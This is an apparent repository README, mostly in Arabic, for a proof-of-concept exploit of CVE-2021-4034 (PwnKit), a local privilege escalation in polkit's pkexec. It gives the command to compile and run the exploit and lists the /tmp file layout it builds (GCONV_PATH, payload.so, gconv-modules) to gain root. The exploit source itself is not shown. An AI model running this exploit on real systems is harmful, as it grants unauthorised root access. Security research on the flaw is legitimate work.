aus-mate/cve-2021-4034-pocإثبات مفهوم لاستغلال CVE-2021-4034 (PwnKit)، وهي ثغرة تصعيد صلاحيات محلية في pkexec الخاص بـ polkit. يقوم بتجميع وتشغيل حمولة بلغة C للحصول على صلاحيات الجذر.
POC لثغرة pwnkit التي اكتشفتها Qualys.
الترجمة والتنفيذ:
gcc lpe.c -o lpe; ./lpe
ينشئ بنية الدليل/الملفات التالية:
/tmp
├── GCONV_PATH=.
│ └── test
├── payload.c
├── payload.so
├── test
│ └── gconv-modules